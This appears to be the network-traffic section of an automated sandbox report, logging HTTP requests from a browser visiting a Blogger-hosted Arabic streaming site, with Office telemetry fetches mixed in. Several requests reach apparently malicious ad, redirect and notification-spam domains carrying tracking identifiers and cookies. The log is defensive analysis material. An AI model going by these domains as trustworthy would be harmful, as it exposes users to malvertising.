Source: global traffic	HTTP traffic detected: GET /static/v1/widgets/3650705295-widgets.js HTTP/1.1Host: www.blogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/v1/widgets/2271878333-widgets.js HTTP/1.1Host: www.blogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /?rb=h41RbpjUfm_qezmYzy9pIg9mlIi-f8HIT5NCeikxr11M_389I7E9AD9nLHVqmh6T_KddQBzce-JN28rtoJXc3BFC19zHCYwqvB_-YolKIUq70v33FpAnXcTDS0ltRITij9SrZZHt5B1K5y3GjGmhKtW8AjNrOaaUjt5pM4ev59qlNzNDGWu_nC2LMVGJ0MulG6qU4H_vtCv8VU1ftJxA-6GMisbOKxBf0mrehPqFnPxa187DdqBHsQNzCDHLXNpoIozX6Jn2R3BQGIEpKvBA3JoqRlKqzqByAWUIYStOT9e_q713K9t-8XEkvL5VijP-HXTHQQb6ofDNeVZb6D5X8Q%3D%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=907&wiw=1280&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=1275&wfc=39&pl=https%3A%2F%2Fwww.mycimalive.com%2F&drf=&np=1&pt=0&nb=1&ng=1&ix=0&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=c4386095-4dc2-4ed2-b185-61bb729e2c55&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mycimalive.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/v1/widgets/3650705295-widgets.js HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEikTOrvZaqorznCY7bfF4hHeUoB7iqxGA6Lai59n6jBtTP-6vPF8cdimK59GMeqOtgojDBpcqDsJx8Tjd4m3RBrHihJF4GFqZC2pHaDHnXHi8s44GKacNua9X_ARVFEW4Pj1JPUQXPGajJNPH31EGKPwOf7fz4bZuxfETojB0-QXYz9qzzeNXw8ZGaMGlE=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEhanjg5FQ_WcSXnLlNefHn3XPYMDHeE5JSNftuLC2MPDfG0uIKhbOrY_s0IYSMkaMYBx2UzQIMtWZ9HrV69ghm9O9FGMZPmcnXhh3_nRf4wQuZLXWElkNagBZditi7At4XQBJUWxkBpf2QqVbm1WQx70Ux-cuT_3V1ixUBBeFy-YiLB0k1MbhT223HO6Yh1/s1600/images%20(29).jpeg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU-1I5zAKJaooQ6gOOrOTlahlInZt6kUuNhkiig5FCwcmX2FOm0sszfp5Ukg1KTW0kv76WCftXcoYq755BAS_PwEF1zZrIZA9j8At0U3keYSOFtcclOPCW9WgJpnZM4KJ0cJ-yBccegg8RUG1_Jgg7K/s320/elaosboa46275.webp HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgjZ2wuKeUDSK0w0px0GXL68U_8hwq1x5ZclkWCM98U9Ltg9k2_fStCvFHrkzRLxxZVYq7jlZaFiIgcOW8JZoS2lKtioQGF1vv9slVlt_ouF_EqPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/s320/IMG_20240913_023407_864.jpg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=0&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEjxtF2EGc4gyb_sNBOEqULAxq-qIaDz6pkBAa_eeZuLk0GKp2-HyWVJDkW54GH47x7ETBMzGncabdWiE000LAOSqr5Nml9pXFw1pHybu0Y6oFfNw9-gQwYXioDXnLTAtbKLmzeQ0W1Fl5BAJIQCDRAXwLfaIiRbgIFP-khGhSv29jzClIqW-5CQNtMdZZ9e/s1600/%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true
Source: global traffic	HTTP traffic detected: GET /7e/5b/b2/7e5bb228f30e40fc8217e85bc9552495.js HTTP/1.1Host: accompanimentrealistic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002 HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587003&data&_=1728945587004 HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586995&data&_=1728945586996 HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /split_track?action=check_overlay&dlShown=true&zone=8079706 HTTP/1.1Host: bytogeticr.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586999&data&_=1728945587000 HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998 HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US HTTP/1.1Host: phaivusaido.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /async_log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
Source: global traffic	HTTP traffic detected: GET /gid.js?userId=0080f523ce504ac9e2ef03a350bc2951 HTTP/1.1Host: my.rtmark.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: phaivusaido.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=USAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
